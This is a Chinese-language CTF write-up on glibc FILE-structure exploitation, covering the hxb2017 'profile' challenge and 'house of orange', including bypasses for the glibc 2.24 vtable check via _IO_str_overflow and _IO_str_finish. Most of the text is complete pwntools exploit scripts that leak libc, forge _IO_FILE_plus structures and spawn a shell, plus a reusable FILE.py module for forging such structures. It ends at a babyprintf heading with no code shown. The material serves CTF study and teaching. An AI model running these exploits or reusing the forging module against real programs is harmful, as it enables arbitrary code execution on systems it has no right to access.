1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 unsigned int 1 _create(){ int name_len; char buf; unsigned int v3; v3 = __readgsdword(0x14 u); if ( namelen ) { puts ("You have already create your profile" ); } else { puts ("Input your name len:" ); read (0 , &buf, 0x14 u); name_len = atoi (&buf); if ( name_len > 8 ) { name = malloc (name_len); if ( !name ) { puts ("name space create failed!" ); exit (0 ); } puts ("Input your name:" ); read (0 , name, name_len); } else { puts ("Input your name:" ); read (0 , &name, name_len); } puts ("Input your age:" ); __isoc99_scanf("%d" , &age); puts ("Profile Created" ); namelen = name_len; } return __readgsdword(0x14 u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 unsigned int 3 _update(){ signed int old_len; char buf[10 ]; unsigned int v3; v3 = __readgsdword(0x14 u); if ( namelen ) { puts ("Input your new namelen:" ); old_len = namelen; __isoc99_scanf("%d" , &namelen); if ( (signed int )namelen > 8 ) { name = malloc (namelen); if ( !name ) { puts ("name space create failed!" ); exit (0 ); } puts ("Input your name:" ); read (0 , name, namelen); } else { puts ("Input your name:" ); if ( (signed int )namelen <= old_len ) { read (0 , &name, namelen); } else { read (0 , buf, 8u ); strncat ((char *)&name, buf, namelen - old_len); } } puts ("Input your age:" ); __isoc99_scanf("%d" , &age); puts ("Update succeeded" ); } else { puts ("You need to create your profile first!" ); } return __readgsdword(0x14 u) ^ v3; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 int 2 _print(){ int result; if ( (signed int )namelen <= 0 || (signed int )namelen > 8 ) { printf ("Your name: %s\n" , name); result = printf ("Your age: %d\n" , age); } else { printf ("Your name: %s\n" , &name); result = printf ("Your age: %d\n" , age); } return result; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 unsigned int 4 _exchange(){ unsigned int p1; unsigned int p2; unsigned int v3; v3 = __readgsdword(0x14 u); if ( check_bit ) { puts ("You can't do that twice" ); } else { puts ("welcome to the secret place of this system\nyou can revise two man's age,whose age you wanna revise?" ); printf ("Person 1: " ); read (0 , &p1, 4u ); printf ("Person 2: " ); read (0 , &p2, 4u ); if ( p1 > (unsigned int )&board && p1 < (unsigned int )&read || p2 > (unsigned int )&board && p2 < (unsigned int )&read ) { puts ("no no,you can't do that for yourself" ); exit (0 ); } *(_DWORD *)(p1 + 0xC ) = p2; *(_DWORD *)(p2 + 0xC ) = p1; check_bit = 1 ; } return __readgsdword(0x14 u) ^ v3; }
做法: 1.通过负数溢出leak出libc基址 2.通过负数溢出在bss后面一段伪造一个FILE结构体 3.通过exchange函数将这个结构体写到_IO_stdout
,程序调用putchar
->_IO_OVERFLOW
,getshell
1 2 3 4 5 6 7 8 9 int putchar (int c) { int result; _IO_acquire_lock (_IO_stdout); result = _IO_putc_unlocked (c, _IO_stdout); _IO_release_lock (_IO_stdout); return result; }
_IO_acquire_lock
是一条宏,内容如下
1 2 3 4 5 6 7 # define _IO_acquire_lock(_fp) \ do { \ _IO_FILE *_IO_acquire_lock_file \ __attribute__((cleanup (_IO_acquire_lock_fct))) \ = (_fp); \ _IO_flockfile (_IO_acquire_lock_file);
其中又调用了_IO_acquire_lock_fct
,是一个内联函数
1 2 3 4 5 6 7 8 9 10 #define _IO_USER_LOCK 0x8000 static inline void __attribute__ ((__always_inline__)) _IO_acquire_lock_fct (_IO_FILE **p) { _IO_FILE *fp = *p; if ((fp->_flags & _IO_USER_LOCK) == 0) // 需要bypass,_flags & 0x8000 不能为 0 _IO_funlockfile (fp); }
_IO_putc_unlocked
又为一条宏,内容如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 #define _IO_putc_unlocked(_ch, _fp) \ (_IO_BE ((_fp)->_IO_write_ptr >= (_fp)->_IO_write_end, 0) \ ? __overflow (_fp, (unsigned char ) (_ch)) \ : (unsigned char ) (*(_fp)->_IO_write_ptr++ = (_ch))) #if __GNUC__ >= 3 # define _IO_BE(expr, res) __builtin_expect ((expr), res) #else # define _IO_BE(expr, res) (expr) #endif int __overflow (_IO_FILE *f, int ch) { if (f->_mode == 0 ) _IO_fwide (f, -1 ); return _IO_OVERFLOW (f, ch); }
因此,我们构造一个结构体: 1._flags
& 0x8000 != 0 2._IO_write_ptr
>= _IO_write_end
3._mode
!= 0
最后是exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process('./profile' ) bin = ELF('./profile' ) libc = ELF('./libc.so_local' ) else : cn = remote('114.215.68.121' ,10080 ) bin = ELF('./profile' ) libc = ELF('./libc.so_remote' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def create (namelen,name,age ): cn.sendline('1' ) cn.recvuntil('len:' ) cn.sendline(str (namelen)) cn.recvuntil('name:' ) cn.send(name) cn.recvuntil('age:' ) cn.sendline(str (age)) def printout (): cn.sendline('2' ) def update (namelen,name,age ): cn.sendline('3' ) cn.recvuntil('len:' ) cn.sendline(str (namelen)) cn.recvuntil('name:' ) cn.send(name) cn.recvuntil('age:' ) cn.sendline(str (age)) def exchange (p1,p2 ): cn.sendline('4' ) cn.recvuntil('1:' ) cn.send(p32(p1)) cn.recvuntil('2:' ) cn.send(p32(p2)) cn.recv() pay = p32(bin .got['read' ])+'a' *4 +p32(0x100 ) create(-1 ,pay,1 ) printout() cn.recvuntil('name: ' ) read = u32(cn.recv()[:4 ]) libc_base = read-libc.symbols['read' ] system = libc_base+libc.symbols['system' ] stdout = libc_base+libc.symbols['stdout' ] success('stdout:' + hex (stdout)) success('libc_base: ' +hex (libc_base)) fake_file ='A\x80;/' fake_file+='bin/' fake_file+='sh\x00\x00' fake_file+=p32(0 ) fake_file+=p32(0xffffffff ) fake_file+=p32(0x1 ) fake_file+=p32(0x1 ) fake_file = fake_file.ljust(0x68 ,'\x00' ) fake_file+=p32(0x2 ) fake_file = fake_file.ljust(0x94 ,'\x00' ) fake_file += p32(0x804B300 +0x94 +4 ) fake_file += 3 *p32(0 )+p32(system) pay2 = p32(bin .got['read' ])+'a' *4 +p32(0x100 )+'\x00' *(0x100 -0x94 +0x200 -4 )+fake_file update(-2 ,pay2,10 ) exchange(stdout-0xc ,0x0804B300 ) cn.interactive()
FILE.py FILE结构体伪造模块 撸了一个伪造FILE结构体的模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 from pwn import *_IO_FILE_plus_size = { 'i386' :0x98 , 'amd64' :0xe0 } _IO_FILE_plus = { 'i386' :{ 0x0 :'_flags' , 0x4 :'_IO_read_ptr' , 0x8 :'_IO_read_end' , 0xc :'_IO_read_base' , 0x10 :'_IO_write_base' , 0x14 :'_IO_write_ptr' , 0x18 :'_IO_write_end' , 0x1c :'_IO_buf_base' , 0x20 :'_IO_buf_end' , 0x24 :'_IO_save_base' , 0x28 :'_IO_backup_base' , 0x2c :'_IO_save_end' , 0x30 :'_markers' , 0x34 :'_chain' , 0x38 :'_fileno' , 0x3c :'_flags2' , 0x40 :'_old_offset' , 0x44 :'_cur_column' , 0x46 :'_vtable_offset' , 0x47 :'_shortbuf' , 0x48 :'_lock' , 0x4c :'_offset' , 0x54 :'_codecvt' , 0x58 :'_wide_data' , 0x5c :'_freeres_list' , 0x60 :'_freeres_buf' , 0x64 :'__pad5' , 0x68 :'_mode' , 0x6c :'_unused2' , 0x94 :'vtable' }, 'amd64' :{ 0x0 :'_flags' , 0x8 :'_IO_read_ptr' , 0x10 :'_IO_read_end' , 0x18 :'_IO_read_base' , 0x20 :'_IO_write_base' , 0x28 :'_IO_write_ptr' , 0x30 :'_IO_write_end' , 0x38 :'_IO_buf_base' , 0x40 :'_IO_buf_end' , 0x48 :'_IO_save_base' , 0x50 :'_IO_backup_base' , 0x58 :'_IO_save_end' , 0x60 :'_markers' , 0x68 :'_chain' , 0x70 :'_fileno' , 0x74 :'_flags2' , 0x78 :'_old_offset' , 0x80 :'_cur_column' , 0x82 :'_vtable_offset' , 0x83 :'_shortbuf' , 0x88 :'_lock' , 0x90 :'_offset' , 0x98 :'_codecvt' , 0xa0 :'_wide_data' , 0xa8 :'_freeres_list' , 0xb0 :'_freeres_buf' , 0xb8 :'__pad5' , 0xc0 :'_mode' , 0xc4 :'_unused2' , 0xd8 :'vtable' } } class IO_FILE_plus_struct (dict ): arch = None endian = None fake_file = None size = 0 FILE_struct = [] @LocalContext def __init__ (self ): self.arch = context.arch self.endian = context.endian if self.arch != 'i386' and self.arch != 'amd64' : log.error('architecture not supported!' ) success('arch: ' +str (self.arch)) self.FILE_struct = [_IO_FILE_plus[self.arch][i] for i in sorted (_IO_FILE_plus[self.arch].keys())] print self.FILE_struct self.update({r:0 for r in self.FILE_struct}) self.size = _IO_FILE_plus_size[self.arch] def __setitem__ (self, item, value ): if item not in self.FILE_struct: log.error("Unknown item %r (not in %r)" % (item, self.FILE_struct)) super (IO_FILE_plus_struct, self).__setitem__(item, value) def __setattr__ (self, attr, value ): if attr in IO_FILE_plus_struct.__dict__: super (IO_FILE_plus_struct, self).__setattr__(attr, value) else : self[attr]=value def __getattr__ (self, attr ): return self[attr] def __str__ (self ): fake_file = "" with context.local(arch=self.arch): for item_offset in sorted (self.item_offset): if len (fake_file) < item_offset: fake_file += "\x00" *(item_offset - len (fake_file)) fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all' ) fake_file += "\x00" *(self.size - len (fake_file)) return fake_file @property def item_offset (self ): return _IO_FILE_plus[self.arch].keys()
使用示范:
1.house of orange exp using module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process('./houseoforange' ) bin = ELF('./houseoforange' ) libc = ELF('./libc_local.so' ) else : pass def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def build (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("1" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) def see (): cn.recvuntil(":" ) cn.sendline("2" ) def upgrade (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("3" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x3c4b20 success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) upgrade(0x400 ,'d' *16 ,1 ,1 ) see() cn.recvuntil('d' *16 ) d = cn.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' ) heap_base=u64(d)-0xc0 success('heap_base: ' +hex (heap_base)) pay='e' *0x400 pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) from FILE import *context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = u64('/bin/sh\x00' ) fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base=_IO_list_all-0x10 fake_file._IO_write_base=0 fake_file._IO_write_ptr=1 fake_file._mode=0 fake_file.vtable=heap_base+0x4f0 +fake_file.size pay+=str (fake_file) pay += p64(0 )*3 pay += p64(system) upgrade(0x800 ,pay,1 ,1 ) cn.sendline('1' ) cn.interactive()
2.hxb2017 exp using module:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process('./profile' ) bin = ELF('./profile' ) libc = ELF('./libc.so_local' ) else : cn = remote('114.215.68.121' ,10080 ) bin = ELF('./profile' ) libc = ELF('./libc.so_remote' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def create (namelen,name,age ): cn.sendline('1' ) cn.recvuntil('len:' ) cn.sendline(str (namelen)) cn.recvuntil('name:' ) cn.send(name) cn.recvuntil('age:' ) cn.sendline(str (age)) def printout (): cn.sendline('2' ) def update_it (namelen,name,age ): cn.sendline('3' ) cn.recvuntil('len:' ) cn.sendline(str (namelen)) cn.recvuntil('name:' ) cn.send(name) cn.recvuntil('age:' ) cn.sendline(str (age)) def exchange (p1,p2 ): cn.sendline('4' ) cn.recvuntil('1:' ) cn.send(p32(p1)) cn.recvuntil('2:' ) cn.send(p32(p2)) cn.recv() pay = p32(bin .got['read' ])+'a' *4 +p32(0x100 ) create(-1 ,pay,1 ) printout() cn.recvuntil('name: ' ) read = u32(cn.recv()[:4 ]) libc_base = read-libc.symbols['read' ] system = libc_base+libc.symbols['system' ] stdout = libc_base+libc.symbols['stdout' ] success('stdout:' + hex (stdout)) success('libc_base: ' +hex (libc_base)) from FILE import *context.arch = 'i386' fake_file = IO_FILE_plus_struct() fake_file._flags = u32('A\x80;/' ) fake_file._IO_read_ptr = u32('bin/' ) fake_file._IO_read_end = u32('sh\x00\x00' ) fake_file._IO_write_ptr = fake_file._IO_write_end=0 fake_file._mode=1 fake_file.vtable=0x804B300 +fake_file.size pay2 = p32(bin .got['read' ])+'a' *4 +p32(0x100 )+'\x00' *(0x100 -0x94 +0x200 -4 )+str (fake_file) + 3 *p32(0 )+p32(system) update_it(-2 ,pay2,10 ) exchange(stdout-0xc ,0x0804B300 ) cn.interactive()
house of orange in glibc 2.24 2.24添加了一个_IO_vtable_check
函数。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 void attribute_hidden_IO_vtable_check (void ) { #ifdef SHARED void (*flag) (void ) = atomic_load_relaxed (&IO_accept_foreign_vtables); #ifdef PTR_DEMANGLE PTR_DEMANGLE (flag); #endif if (flag == &_IO_vtable_check) return ; { Dl_info di; struct link_map *l; if (_dl_open_hook != NULL || (_dl_addr (_IO_vtable_check, &di, &l, NULL ) != 0 && l->l_ns != LM_ID_BASE)) return ; } #else if (__dlopen != NULL ) return ; #endif __libc_fatal ("Fatal error: glibc detected an invalid stdio handle\n" ); }
没细看,但看别人的博客说是vtable不能随意构造在任意地址,libc中有一个段叫__libc_IO_vtables
,里面全是vtable,应该是只能使用这里面的vtable吧。
我们对一个叫做_IO_str_overflow
的虚表函数感兴趣,因为它里面有相对地址调用,而且这个地址不是虚表内的函数。这个函数在一个叫_IO_str_jumps
的vtable里(也有其他vtable存在这个函数的)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 pwndbg> p _IO_str_jumps $1 = { __dummy = 0, __dummy2 = 0, __finish = 0x7ff39312db70 <_IO_str_finish>, __overflow = 0x7ff39312d850 <__GI__IO_str_overflow>, __underflow = 0x7ff39312d7f0 <__GI__IO_str_underflow>, __uflow = 0x7ff39312c370 <__GI__IO_default_uflow>, __pbackfail = 0x7ff39312db50 <__GI__IO_str_pbackfail>, __xsputn = 0x7ff39312c3d0 <__GI__IO_default_xsputn>, __xsgetn = 0x7ff39312c550 <__GI__IO_default_xsgetn>, __seekoff = 0x7ff39312dca0 <__GI__IO_str_seekoff>, __seekpos = 0x7ff39312c730 <_IO_default_seekpos>, __setbuf = 0x7ff39312c600 <_IO_default_setbuf>, __sync = 0x7ff39312c9b0 <_IO_default_sync>, __doallocate = 0x7ff39312c7a0 <__GI__IO_default_doallocate>, __read = 0x7ff39312d6a0 <_IO_default_read>, __write = 0x7ff39312d6b0 <_IO_default_write>, __seek = 0x7ff39312d680 <_IO_default_seek>, __close = 0x7ff39312c9b0 <_IO_default_sync>, __stat = 0x7ff39312d690 <_IO_default_stat>, __showmanyc = 0x7ff39312d6c0 <_IO_default_showmanyc>, __imbue = 0x7ff39312d6d0 <_IO_default_imbue> }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 int _IO_str_overflow (_IO_FILE *fp, int c) { int flush_only = c == EOF; _IO_size_t pos; if (fp->_flags & _IO_NO_WRITES) return flush_only ? 0 : EOF; if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) { fp->_flags |= _IO_CURRENTLY_PUTTING; fp->_IO_write_ptr = fp->_IO_read_ptr; fp->_IO_read_ptr = fp->_IO_read_end; } pos = fp->_IO_write_ptr - fp->_IO_write_base; if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only)) { if (fp->_flags & _IO_USER_BUF) return EOF; else { char *new_buf; char *old_buf = fp->_IO_buf_base; size_t old_blen = _IO_blen (fp); _IO_size_t new_size = 2 * old_blen + 100 ; if (new_size < old_blen) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); if (new_buf == NULL ) { return EOF; } if (old_buf) { memcpy (new_buf, old_buf, old_blen); (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); fp->_IO_buf_base = NULL ; } memset (new_buf + old_blen, '\0' , new_size - old_blen); _IO_setb (fp, new_buf, new_buf + new_size, 1 ); fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); fp->_IO_write_base = new_buf; fp->_IO_write_end = fp->_IO_buf_end; } } if (!flush_only) *fp->_IO_write_ptr++ = (unsigned char ) c; if (fp->_IO_write_ptr > fp->_IO_read_end) fp->_IO_read_end = fp->_IO_write_ptr; return c; } libc_hidden_def (_IO_str_overflow)
总结一下可以如此构造:
1 2 3 4 5 _flags = 0 _IO_write_ptr = 0x7fffffffffffffff _IO_write_base = 0 _IO_buf_end = (binsh-100)/2 _IO_buf_base = 0
在加上_IO_flush_all_lockp
中触发OVERFLOW
的条件,最后的exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process(['/home/veritas/glibc-2.24_build/lib/ld-linux-x86-64.so.2' ,'--library-path' ,'/home/veritas/glibc-2.24_build/lib/' ,'./houseoforange' ]) bin = ELF('./houseoforange' ) libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so' ) else : pass def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def build (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("1" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) def see (): cn.recvuntil(":" ) cn.sendline("2" ) def upgrade (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("3" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x39cb00 success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] binsh = libc_base+libc.search('/bin/sh\x00' ).next () success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) success('_IO_str_jumps: ' +hex (_IO_str_jumps)) success('binsh: ' +hex (binsh)) pay='e' *0x400 pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) from FILE import *context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base=_IO_list_all-0x10 fake_file._IO_write_base=0 fake_file._IO_write_ptr=0x7fffffffffffffff fake_file._IO_buf_base=0 fake_file._IO_buf_end=(binsh-100 )/2 fake_file._mode=0 fake_file.vtable=_IO_str_jumps pay+=str (fake_file).ljust(0xe0 ,'\x00' )+p64(system) upgrade(0x800 ,pay,1 ,1 ) z('set follow-fork-mode parent\nc' ) cn.sendline('1' ) cn.interactive()
深入思考。。。
难道真的只有虚表上的overflow函数能用吗?
因为其实vtable check的时候,只检测了范围,并没有检测对齐。
经过观察,发现一个更好的目标_IO_str_finish
。
1 2 3 4 5 6 7 8 9 void _IO_str_finish (_IO_FILE *fp, int dummy) { if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); fp->_IO_buf_base = NULL ; _IO_default_finish (fp, 0 ); }
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process(['/home/veritas/glibc-2.24_build/lib/ld-linux-x86-64.so.2' ,'--library-path' ,'/home/veritas/glibc-2.24_build/lib/' ,'./houseoforange' ]) bin = ELF('./houseoforange' ) libc = ELF('/home/veritas/glibc-2.24_build/lib/libc-2.24.so' ) else : pass def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def build (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("1" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) def see (): cn.recvuntil(":" ) cn.sendline("2" ) def upgrade (size,name,price,color ): cn.recvuntil(":" ) cn.sendline("3" ) cn.recvuntil(":" ) cn.sendline(str (size)) cn.recvuntil(":" ) cn.send(name) cn.recvuntil(":" ) cn.sendline(str (price)) cn.recvuntil(":" ) cn.sendline(str (color)) build(16 ,'aaaa' ,1 ,1 ) pay = 'b' *16 +p64(0 )+p64(0x21 )+'b' *16 +p64(0 )+p64(0xfa1 ) upgrade(0x200 ,pay,1 ,1 ) build(0x1000 ,'cccc' ,1 ,1 ) build(0x400 ,'dddddddd' ,1 ,1 ) see() cn.recvuntil('dddddddd' ) d = cn.recv(6 ).ljust(8 ,'\x00' ) libc_base = u64(d)-1640 -0x39cb00 success('libc_base: ' +hex (libc_base)) system = libc_base+libc.symbols['system' ] _IO_list_all=libc_base+libc.symbols['_IO_list_all' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] binsh = libc_base+libc.search('/bin/sh\x00' ).next () success('system: ' +hex (system)) success('_IO_list_all: ' +hex (_IO_list_all)) success('_IO_str_jumps: ' +hex (_IO_str_jumps)) success('binsh: ' +hex (binsh)) pay='e' *0x400 pay+=p64(0 )+p64(0x21 ) pay+=p32(1 )+p32(0x1f )+p64(0 ) from FILE import *context.arch = 'amd64' fake_file = IO_FILE_plus_struct() fake_file._flags = 0 fake_file._IO_read_ptr = 0x61 fake_file._IO_read_base =_IO_list_all-0x10 fake_file._IO_buf_base = binsh fake_file._mode = 0 fake_file._IO_write_base = 0 fake_file._IO_write_ptr = 1 fake_file.vtable = _IO_str_jumps-8 pay+=str (fake_file).ljust(0xe8 ,'\x00' )+p64(system) upgrade(0x800 ,pay,1 ,1 ) z('set follow-fork-mode parent\nc' ) cn.sendline('1' ) cn.interactive()
hxb2017 pwn400 in glibc 2.24 和上面一样,我也是使用了_IO_str_finish
这个函数。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 from pwn import *context.log_level = 'debug' context.terminal = ['gnome-terminal' ,'-x' ,'bash' ,'-c' ] local = 1 if local: cn = process(['/home/veritas/glibc-2.24_i386_build/lib/ld-linux.so.2' ,'--library-path' ,'/home/veritas/glibc-2.24_i386_build/lib/' ,'./profile' ]) bin = ELF('./profile' ) libc = ELF('/home/veritas/glibc-2.24_i386_build/lib/libc-2.24.so' ) else : cn = remote('114.215.68.121' ,10080 ) bin = ELF('./profile' ) libc = ELF('./libc.so_remote' ) def z (a='' ): gdb.attach(cn,a) if a == '' : raw_input() def create (namelen,name,age ): cn.sendline('1' ) cn.recvuntil('len:' ) cn.sendline(str (namelen)) cn.recvuntil('name:' ) cn.send(name) cn.recvuntil('age:' ) cn.sendline(str (age)) def printout (): cn.sendline('2' ) def update_it (namelen,name,age ): cn.sendline('3' ) cn.recvuntil('len:' ) cn.sendline(str (namelen)) cn.recvuntil('name:' ) cn.send(name) cn.recvuntil('age:' ) cn.sendline(str (age)) def exchange (p1,p2 ): cn.sendline('4' ) cn.recvuntil('1:' ) cn.send(p32(p1)) cn.recvuntil('2:' ) cn.send(p32(p2)) cn.recv() pay = p32(bin .got['read' ])+'a' *4 +p32(0x100 ) create(-1 ,pay,1 ) printout() cn.recvuntil('name: ' ) read = u32(cn.recv()[:4 ]) libc_base = read-libc.symbols['read' ] system = libc_base+libc.symbols['system' ] stdout = libc_base+libc.symbols['stdout' ] _IO_str_jumps = libc_base+libc.symbols['_IO_str_jumps' ] binsh = libc_base+libc.search('/bin/sh' ).next () success('libc_base: ' +hex (libc_base)) success('stdout:' + hex (stdout)) success('_IO_str_jumps: ' +hex (_IO_str_jumps)) pay2 = p32(bin .got['read' ])+'a' *4 +p32(0x100 )+'\x00' *(0x100 -0x94 +0x200 -4 ) from FILE import *context.arch = 'i386' fake_file = IO_FILE_plus_struct() fake_file._flags = 0x8000 fake_file._IO_buf_base = binsh fake_file._IO_write_ptr = 0 fake_file._IO_write_end = 0 fake_file._mode=0 fake_file.vtable=_IO_str_jumps-4 pay2+=str (fake_file).ljust(0x9c ,'\x00' )+p32(system) update_it(-2 ,pay2,10 ) exchange(stdout-0xc ,0x0804B300 ) cn.interactive()
HCTF2017 babyprintf 基本就是orange的做法,leak是利用printf格式化字符串来做的。
exp:
